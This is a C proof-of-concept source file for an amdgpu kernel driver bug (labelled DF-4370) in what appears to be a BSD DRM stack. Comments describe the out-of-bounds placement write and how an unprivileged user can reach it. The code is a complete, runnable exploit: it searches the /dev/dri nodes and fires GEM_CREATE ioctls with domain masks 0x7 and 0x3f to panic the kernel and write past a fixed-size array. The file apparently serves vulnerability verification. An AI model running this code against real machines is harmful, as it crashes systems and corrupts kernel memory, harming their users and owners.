DF-4370 / poc_df4370.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 | /* * DF-4370 PoC — amdgpu GEM_CREATE multi-domain placement overflow * * Bug: sys/dev/drm/amd/amdgpu/amdgpu_object.c:139-209 * amdgpu_bo_placement_from_domain() appends one struct ttm_place per set * domain bit into abo->placements[AMDGPU_BO_MAX_PLACEMENTS] where * AMDGPU_BO_MAX_PLACEMENTS == 3 (amdgpu_object.h:35). There are six * possible domain bits (VRAM|GTT|CPU|GDS|GWS|OA = 0x3f). The bound check * BUG_ON(c >= 3) runs only AFTER the loop body has already stored * places[c]: * * - domains = VRAM|GTT|CPU (0x7): c reaches 3 -> three in-bounds writes, * then BUG_ON(3 >= 3) fires -> panic("BUG in ...") = local DoS. * - domains = 0x3f: c reaches 6 -> places[3..5] are written OUT OF * BOUNDS (12..36 bytes of constant data over struct amdgpu_bo.placement * / .tbo), then the BUG_ON panics. * * Reachability (unprivileged): * amdgpu_gem_create_ioctl (amdgpu_kms.c:1197: DRM_AUTH|DRM_RENDER_ALLOW) * -> validates domains only against AMDGPU_GEM_DOMAIN_MASK = 0x3f * (amdgpu_gem.c:233) * -> amdgpu_gem_object_create -> amdgpu_bo_create -> amdgpu_bo_do_create * -> amdgpu_bo_placement_from_domain(bo, 0x7 / 0x3f) [amdgpu_object.c:493] * * This program is self-contained (no DRM headers needed): it finds a DRM * render/card node, verifies the driver is "amdgpu" via DRM_IOCTL_VERSION, * then issues AMDGPU_GEM_CREATE with domains=0x7, and (if the kernel * survived) with domains=0x3f. * * On a VULNERABLE amdgpu system: first ioctl -> immediate kernel panic * ("BUG in amdgpu_bo_placement_from_domain at amdgpu_object.c:209"). * On a FIXED kernel: ioctl returns an error or a handle; program exits 0. * On a machine without amdgpu: prints NO_AMDGPU and exits 3. * On a machine without any DRM node: prints NO_DRM_DEVICES and exits 2. */ #include <sys/ioccom.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdint.h> #include <string.h> #include <unistd.h> #define DRM_IOCTL_VERSION _IOWR(0x64, 0x00, struct poc_drm_version) struct poc_drm_version { int version_major; int version_minor; int version_patch; size_t name_len; char *name; size_t date_len; char *date; size_t desc_len; char *desc; }; /* DRM_COMMAND_BASE + AMDGPU_GEM_CREATE(0x00); union drm_amdgpu_gem_create is 32 bytes */ #define AMDGPU_IOC_GEM_CREATE _IOWR(0x40, 0x00, uint64_t[4]) struct poc_gem_create_in { uint64_t bo_size; uint64_t alignment; uint64_t domains; uint64_t domain_flags; }; static int try_device(const char *path) { struct poc_drm_version v; char name[64]; int fd, r; union { struct poc_gem_create_in in; struct { uint32_t handle; uint32_t pad; } out; } args; fd = open(path, O_RDWR | O_CLOEXEC); if (fd < 0) return -1; memset(&v, 0, sizeof(v)); memset(name, 0, sizeof(name)); v.name = name; v.name_len = sizeof(name) - 1; r = ioctl(fd, DRM_IOCTL_VERSION, &v); if (r != 0) { close(fd); return -1; } if (strcmp(name, "amdgpu") != 0) { printf("[!] %s: driver \"%s\" != amdgpu, skipping\n", path, name); close(fd); return 0; } printf("[+] %s: driver amdgpu v%d.%d.%d -- firing\n", path, v.version_major, v.version_minor, v.version_patch); /* Variant A: VRAM|GTT|CPU -> c == 3 -> BUG_ON(3 >= 3) -> panic */ memset(&args, 0, sizeof(args)); args.in.bo_size = 0x1000; args.in.alignment = 0x1000; args.in.domains = 0x4 | 0x2 | 0x1; /* VRAM|GTT|CPU */ r = ioctl(fd, AMDGPU_IOC_GEM_CREATE, &args); printf("[*] domains=0x7 (VRAM|GTT|CPU): ret=%d errno=%d handle=0x%x\n", r, errno, args.out.handle); if (r == 0) { printf("[!] kernel SURVIVED variant A (not vulnerable / fixed)\n"); } else { printf("[!] kernel returned an error for variant A (fixed / rejected)\n"); } /* Variant B: VRAM|GTT|CPU|GDS|GWS|OA -> c == 6 -> 3 OOB writes + panic */ memset(&args, 0, sizeof(args)); args.in.bo_size = 0x4; /* GDS must be DW aligned */ args.in.alignment = 0x1000; args.in.domains = 0x3f; r = ioctl(fd, AMDGPU_IOC_GEM_CREATE, &args); printf("[*] domains=0x3f (all six): ret=%d errno=%d handle=0x%x\n", r, errno, args.out.handle); printf("[!] kernel SURVIVED variant B (not vulnerable / fixed)\n"); close(fd); return 1; } int main(void) { static const char *render[] = { "/dev/dri/renderD128", "/dev/dri/renderD129", "/dev/dri/renderD130", NULL }; static const char *cards[] = { "/dev/dri/card0", "/dev/dri/card1", "/dev/dri/card2", NULL }; int i, hit = 0, any = 0; for (i = 0; render[i]; i++) { int r = try_device(render[i]); if (r == 1) { hit = 1; break; } if (r == 0) any = 1; } if (!hit) for (i = 0; cards[i]; i++) { int r = try_device(cards[i]); if (r == 1) { hit = 1; break; } if (r == 0) any = 1; } if (hit) return 0; if (any) { printf("NO_AMDGPU\n"); return 3; } printf("NO_DRM_DEVICES\n"); return 2; } |